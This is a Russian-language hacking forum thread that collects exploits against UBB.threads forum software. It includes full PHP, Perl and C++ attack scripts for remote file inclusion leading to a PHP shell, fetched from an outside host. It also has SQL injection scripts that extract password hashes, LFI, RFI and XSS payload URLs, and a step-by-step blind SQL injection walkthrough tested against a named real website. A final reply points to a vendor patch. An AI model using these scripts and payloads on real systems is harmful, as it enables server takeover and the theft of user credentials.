Форумы [Обзор уязвимостей UBB.threads]

Discussion in 'Уязвимости CMS/форумов' started by iddqd, 25 Jan 2008.

  1. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Vendor: http://www.ubbcentral.com/

    Code Execution (doeditconfig.php)

    Vulnerable: UBB.threads <= 6.5.1.1

    Exploit:

    PHP:
    #!/usr/bin/php -q -d short_open_tag=on
    <?
    /*       UBB.threads Command Execution        */
    /*    by HACKERS PAL <[email protected]>     */
    /*         site: http://www.soqor.net         */');
    if ($argc<2) {
        print_r('
    /* --                                         */
    /* Usage: php '.$argv[0].' host
    /* Example:                                   */
    /*    php '.$argv[0].' http://localhost/
    /**********************************************/
    ');
        die;
    }
    error_reporting(0);
    ini_set("max_execution_time",0);

    $url=$argv[1]."/";
    $exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
    $page=$url.$exploit;
    Function get_page($url)
    {

        if(function_exists("file_get_contents"))
        {

            $contents = file_get_contents($url);

        }
        else
        {
            $fp=fopen("$url","r");
            while($line=fread($fp,1024))
            {
                $contents=$contents.$line;
            }

        }
        return $contents;
    }

    $page    = get_page($page);

    $newpage = get_page($url."calendar.php");

    if(eregi("Cannot execute a blank command",$newpage))
    {
        Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
    }
    Else
    {
        Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
    }
    ?>
    Multiple File Inclusion Vulnerabilities


    Vulnerable: UBBThreads 5.x,6.x

    Note: register_globals=on

    Exploit:

    Code:
    http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00
    
    http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
    
    http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
    
    If php version < 4.1.0 or UBB version <= 5.x
    
    http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
    
    http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
    
    XSS

    Vulnerable: UBBThreads 5.x,6.x

    Exploit:

    Code:
    http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>
    
    SQL Injection (mailthread.php)

    Vulnerable: UBB Threads < 6.5.2 Beta

    Exploit:

    PHP:
    <?php
    #############################################################################
    #      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
    #############################################################################
    # Vulnerable:   UBBCentral SQL Injection
    #
    # Exploit By :  MH_p0rtal
    #
    # Discovered By: James Bercegay
    #############################################################################
    #  Gr33tz To ==>   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke
    #
    #  And Iranian Hacking & Security Teams :
    #  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
    #  Crouz Security Team  & Simorgh-ev Security Team
    #############################################################################
    # ___________Config :
    # please replace your address :
    $url "http:///www.example.com";
    # please replace your dir address :
    $dirs "/dir/to/ubbt/";
    # __________End Config
    #############################################################################
    $aa strlen $dirs );
    $ab $aa 1;
    $ac 0;
    if ((  
    $dirs[$ab] == "/" )  &&  ( $dirs[$ac] == "/" ))   {
    $merg $dirs.mailthread.php;
    $fc fsockopen("$url"80$errno$errstr30);
    if (!
    $fc) {

    echo 
    "Can't Connect\n";
    } else {
       
    $mh "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\r\n";
       
    $mh .= "Host: $url\r\n";
       
    $mh .= "Connection: Close\r\n\r\n";

      
    fwrite($fc$mh);
      while (!
    feof($fc)) {
      echo 
    fgets($fc1024);
      }
       
    fclose($fc);
    }
    } else {
    echo 
    " Your pattern doesn't equal with Exploit directory pattern ";
    }
    ?>
    One char bruteforce

    Vulnerable: UBB.Threads 6.2.* - 6.3.*

    Exploit:

    Code:
    #!/usr/bin/perl
    
    use LWP::UserAgent;
    
    # UBB.Threads 6.2.* - 6.3.* exploit
    # with one char brute technique
    # by 1dt.w0lf // r57
    
    $path     = $ARGV[0];
    $username = $ARGV[1];
    
    $s_num = 1;
    $n=0;
    $|++;
    
    if (@ARGV < 2) { &usage; }
    
    print "Please wait...\r\n";
    print "[";
    
    while(1)
    {
    # начинаем перебор с полного диапазона
    &found(0,122);   
    # если возвращенный код 0 значит дошли до конца строки и выводим полученный результат
    if ($char=="0")  
     { 
     print "]\r\n\r\n"; 
     # разделяем полученную строку на логин и пароль
     ($res1,$res2)=split(":",$allchar);  # 
     print "------------------x REPORT x-------------------\r\n";
     print "      Username: $username\r\n";
     print "    Login Name: $res1\r\n";
     print " Password Hash: $res2\r\n"; 
     print "------------------x REPORT x-------------------\r\n";
     print "total requests: $n\r\n";
     exit(); 
     }
    else 
     { 
     # преобразуем полученный код в символ и добавляем его к строке результата
     print "|"; 
     $allchar .= chr($char); 
     }
    # увеличиваем позицию символа на единицу и продолжаем перебор
    $s_num++;
    }
    
    
    
    sub found($$)
     {
     # определяем переданный диапазон
     my $fmin = $_[0];
     my $fmax = $_[1];
     # если диапазон менее 5 то переходим к перебору
     if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
     # определяем центр диапазона
     $r = int($fmax - ($fmax-$fmin)/2);
     # делаем условие
     $check = ">$r";
     # и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном
     if ( &check($check) ) { &found($r,$fmax); }
     else { &found($fmin,$r+1); }
     }
     
    sub crack($$)
     {
     # определяем переданный диапазон
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     # и проходим по каждому значению из диапазона
     while ($i<$cmax)
      {
      # делаем условие
      $crcheck = "=$i";
      # проверяем его
      if ( &check($crcheck) ) { return $i; }
      $i++;
      }
     return;
     }
     
    sub check($)
     {
     # увеличиваем количество запросов
     $n++;
     # определяем условие 
     $ccheck = $_[0];
     # создаем http запрос к серверу 
     $http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";
     
     # Если вы хотите видеть все запросы отправляемые к скрипту
     # то расскоментируйте следующую строку
     # print "\r\n $http_query \r\n";
     
     $mcb_reguest = LWP::UserAgent->new() or die;
     # получаем ответ сервера
     $res = $mcb_reguest->post($http_query); 
     @results = $res->content; 
     # проверяем ответ сервера на наличие строки
     foreach $result(@results)
      {
      if ($result =~ /<td class=\"lighttable\">/) { return 1; }
      }
     return 0;
     }
     
    sub usage
     {
     print "=========================================================\r\n";
     print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
     print " For all MySQL versions! Don't need UNION support!\r\n";
     print "=========================================================\r\n";
     print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
     print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
     print "=========================================================\r\n";
     exit(); 
     }
    
    Printthread.PHP SQL Injection Vulnerability

    Vulnerable: UBB.threads 6.0

    Exploit:

    Code:
    //HLLUBBThreadsExploit.cpp
    /*
      4. Exploitation
    
    UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability
    
    Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id>
    Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2
    Vulnerability discovered by: Axl
    Exploit Coded by HLL: hllhll <at> gmail.com
    
    */
    #include <winsock2.h>
    #include <stdio.h>
    #include <conio.h>
    #include <iostream.h>
    #pragma comment (lib,"ws2_32")
    
    void usage(char *argv[])
    {
            cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl;
            cout << "[+] Usage:" << endl;
            cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl;
            cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl;
    }
    
    
    int main(int argc, char *argv[]){
    
    
            WSADATA wsaData;
            struct sockaddr_in saddr;
            WSAStartup(MAKEWORD(1, 1), &wsaData);
            struct hostent *h;
            char hash[34]={0};
            int rcvlen;
            char ch;
            int flag, pos;
            int countwait;
            SOCKET sock;
            char req[400];
            char buf[600];
            char rcvbuf[10000];
            char rcvtmpbuf[1024];
    
            char *host=argv[1]; //Server
            char *path=argv[2]; // Path to /ubbthreads/printthread.php
            char *fname=argv[3]; //Forum name
            int uid=atoi(argv[4]); //User id
    
            if (argv!=5){
                    usage(argv);
                    return(0);
            }
            //Resolve address (will work also if this is an IP)
            cout << "[+] Resolving host... ";
            if (!(h=gethostbyname(host)))
            {
                    cout << "FAILD!" << endl;
                    return(1);
            }
            cout << "Done." << endl;
    
            saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
            memset(saddr.sin_zero, 0, 8);
            saddr.sin_port=htons(80);
            saddr.sin_family=AF_INET;
    
    
            cout << "[+] Exploiting target... " << endl;
            for (pos=1; pos<=32; pos++)
            {
                    for (ch='0'; ch<='F'; ch++)
                    {
                            if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 )
                            {
                                    cout << "FAILD CREATING SOCKET!" << endl;
                                    return(1);
                            }
    
    
                            if (ch==':') ch='A'; //If finished all digits, jump to hex digits
    
                            //Prepare reqest
                            sprintf(req,
    "%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch,
    pos, ch+32);
                            if (ch>='A' && ch<='Z')
                                    sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32);
                            sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
                            sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req,
    host);
    
                            connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) );
                            send(sock, buf, strlen(buf), 0);
                            cout << "[+] Char: " << ch << endl;
    
                            //Loop untill disconnection or recognized string
                            flag=0;
                            countwait=0;
                            *rcvbuf=NULL;
                            while(!flag){
                                    Sleep(30);
    
                                    if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){
                                            rcvtmpbuf[rcvlen]=NULL;
                                            strcat(rcvbuf, rcvtmpbuf);
    
                                    }
    
                                    if ( (++countwait) == 30)
                                            flag=2;
                                    if ( strstr(rcvbuf, "SQL Error"))
                                            flag=1;
                            }
                            if (flag==1){ //Char found
                                    cout << "[+] Char " << ch << " In pos " << pos << endl;
                                    hash[pos-1]=ch;
                                    ch='G';
                            }
                            closesocket(sock);
                    }
    
            }
    
    
            hash[32]=NULL;
            cout << endl << "The hash for user id" << uid << "is: " << hash << endl;
            WSACleanup();
            return (0);
    }
    
    Editpost.PHP SQL Injection

    Vulnerable: UBB.threads 6.0

    PoC:

    Code:
    http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a
    
    Multiple SQL Injection Vulnerabilities

    Vulnerable: UBB.threads 6.5.1.1
    UBB.threads 6.5.1
    UBB.threads 6.5
    UBB.threads 6.2.3
    UBB.threads 6.0


    PoC:

    Code:
    http://www.example.com/ubbt/download.php?Number=42227[SQL]
    http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL]
    http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005
    http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post
    http://www.example.com/ubbt/mailthread.php?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat
    http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received
    http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat
    http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded
    http://www.example.com/ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=1045942715[SQL]
    
    Multiple Cross-Site Scripting Vulnerabilities

    Vulnerable: UBB.threads 6.5.1.1
    UBB.threads 6.5.1
    UBB.threads 6.5
    UBB.threads 6.2.3
    UBB.threads 6.0


    PoC:

    Code:
    http://www.example.com/ubbt/dosearch.php?Cat=0&Searchpage=2[XSS]&topic=
    http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818[XSS]&page=0&what=showflat&fpart=1&vc=1
    http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0&what=showflat[XSS]&fpart=1&vc=1
    http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0[XSS]&what=showflat&fpart=1&vc=1
    http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818[XSS]&Board=UBB8&what=showflat&page=0&fpart=1&vc=1
    http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8[XSS]&what=showflat&page=0&fpart=1&vc=1
    http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8&what=showflat[XSS]&page=0&fpart=1&vc=1
    http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0&fpart=all[XSS]
    http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0[XSS]&fpart=all
    http://www.example.com/ubbt/showmembers.php?Cat=&like=p[XSS]&sb=1&page=1
    
    Dosearch.PHP SQL Injection Vulnerability

    Vulnerable: UBB.threads 3.5
    UBB.threads 3.4


    Exploit:

    Code:
    www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695 
    
    Или
    
    www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/*
    
    Showflat.PHP SQL Injection Vulnerability

    Vulnerable: UBB.threads 6.3

    PoC:

    Code:
    http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1
    
     
    #1 iddqd, 25 Jan 2008
    Last edited by a moderator: 17 Sep 2008
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Уязвимость: Слепая SQL инъекция

    Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
    Дата публикации уязвимости на секлабе: 09 сентября, 2008
    Описание на секлабе: http://www.securitylab.ru/vulnerability/359080.php
    Более подробное, но достаточно ущербное и кривое описание: http://www.gulftech.org/?node=research&article_id=00130-09082008

    Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами

    Разобрался что к чему и сделал нормальное описание:

    Требования для успешной эксплуатации уязвимости:

    1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
    2. На форуме должна быть создана хотя бы одна тема
    3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей)
    4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы)
    5. Нужно знать префикс таблиц.
    6. Предположительно! мейджик_квотс = офф

    Описание уязвимости (мои заметки):

    SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае.
    Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом:


    1. Проблема в том что использовать запятые в запросе нельзя:

    PHP:
    if (preg_match("/^f/",$Forum[$i])) {
    $bnum str_replace("f","",$Forum[$i]);
    $boardin .= "'$bnum',";

    $boardin preg_replace("/,$/","",$boardin);

    if (
    $boardin) {
    $boardin "FORUM_ID IN ($boardin)";
    }
    Но тем не менее получить этот символ мы можем (хотя он нам и не нужен). Дело в том что передавать данные параметру (массиву) Forum[] можно несколькими строками.
    И эти строки будут объеденяться, но их объеденение так же проблемно:


    т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми.

    т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем:

    '1','222'

    Самым простым запросом будет:

    Forum[]=f1')) AND 1=1/*

    Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring().
    И использовть для подбора данных поиск с помощью опратора LIKE:


    Code:
    Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*'))
    Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '1%')=1/*'))
    Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '12%')=1/*'))
    Т.е. мы фактически подбираем ХЕШ пользователя с помощью оператора LIKE.

    Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог).

    Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало.

    2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f":

    PHP:
    if (preg_match("/^c/",$Forum[$i])) {
    $cnum str_replace("c","",$Forum[$i]);
    $catin .= "'$cnum',";
    }
    if (
    preg_match("/^f/",$Forum[$i])) {
    $bnum str_replace("f","",$Forum[$i]);
    $boardin .= "'$bnum',";
    Ничего в этом проблемного нет, т.к. обходится переводом символов в верхний регистр: "C", "F".
    Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора.

    Эксплуатация уязвимости (мои заметки):

    Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса.
    Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно).
    Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так:


    1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд).

    2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так:

    ubb=postlist&Board=58&page=1

    В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58.

    3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..."

    Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда).
    Бац... и что то там нашлось - вот и отлично.

    4)

    Теперь пробуем, к примеру, через GET, такой запрос:

    Code:
    ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
    , где: ubb=dosearch&fromsearch=1&checkwords=1 - необходимые параметры - их менять не нужно, Words=master слово, которое должно, обязательно, находиться и
    f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*).

    Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше.

    Теперь пробуем так:

    Code:
    ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
    Т.к. заданное условие ( and 1=2/*) не выполнимо, то искомое слово не должно найтись!

    Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия).

    Вот на примере конкретного сайта:

    * Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям.

    Слово найдено:

    Code:
    http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
    Слово не найдено:

    Code:
    http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
    Так ну вот собственно и всё - как выдирать данные посимвольно я показал выше, не забудьте про филтрацию символов "c", "f" - они фигурируют во многих операторах.
    Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал.

    Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером.

    Как пользоваться моим сплоентом:

    1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет.
    2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно).
    3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)).
    4. Получаем ХЕШ указанного пользователя.

    Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными.
    Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина.

    Дополнительная информация:

    Алгоритм хеширования: md5()
    Префикс по дефолту: ubbt_
    Таблица с пользователями: prefix_USERS
    Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся)

    Вот приблизительно так и надо дорабатывать копипасты.
     

    Attached Files:

    #2 Grey, 17 Sep 2008
    Last edited: 17 Sep 2008
    8 people like this.
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Grey, не успела появится уязвимость, как на следующий день появились патчи для форума, которые инйекцию прикрывают...

    UBB.threads 7.3.1 (обновленная) - патч для уязвимости к SQL-инъекции
    http://www.ubbcentral.com/forums/ubbthreads.php/topics/216722/